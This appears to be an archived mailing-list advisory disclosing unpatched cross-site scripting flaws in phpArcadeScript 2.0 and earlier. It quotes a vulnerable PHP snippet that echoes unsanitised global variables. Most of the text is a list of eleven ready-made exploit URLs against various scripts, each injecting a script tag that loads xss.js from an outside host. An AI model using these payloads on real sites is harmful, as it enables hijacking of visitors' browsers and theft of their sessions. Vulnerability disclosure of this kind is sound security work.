<<< Date Index >>>     <<< Thread Index >>>

phpArcadeScript XSS Injections

???summary
        software: phpArcadeScript
        vendors website: http://www.phparcadescript.com/
        versions: <= 2.0
        class: remote
        status: unpatched
        exploit: available
        solution: not available
        discovered by: retard and jim
        risk level: medium

??? description
        due to phpArcadeScript excessive use of global variables attackers
        can very easily inject xss into various portions of the application

        in ./includes/tellafriend.php:

21      22 if ($about == "game")
23      {
24      echo $gamename;
25      }
26      
27       else
28       {
29       echo $site_title;
30       }
31       ?>

        this poor coding is repetative throughought the application, possibly
        having more vulnerabilities present in the coding.

??? exploit(s)

        
http://example.com/includes/tellafriend.php?about=game&gamename=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/admin/loginbox.php?loginstatus=1&login_status=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/index.php?action=tradelinks&submissionstatus=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/browse.php?cell_title_background_color=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/browse.php?browse_cat_id=1&browse_cat_name=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/displaygame.php?filetype=1&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/displaygame.php?filetype=2&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/displaygame.php?filetype=3&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/displaygame.php?filetype=4&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/displaygame.php?filetype=5&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
http://example.com/includes/displaygame.php?filetype=6&gamefile=%22%3E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E
        
??? credit
        author(s): retard and jim
        email: retard@xxxxxxxxxx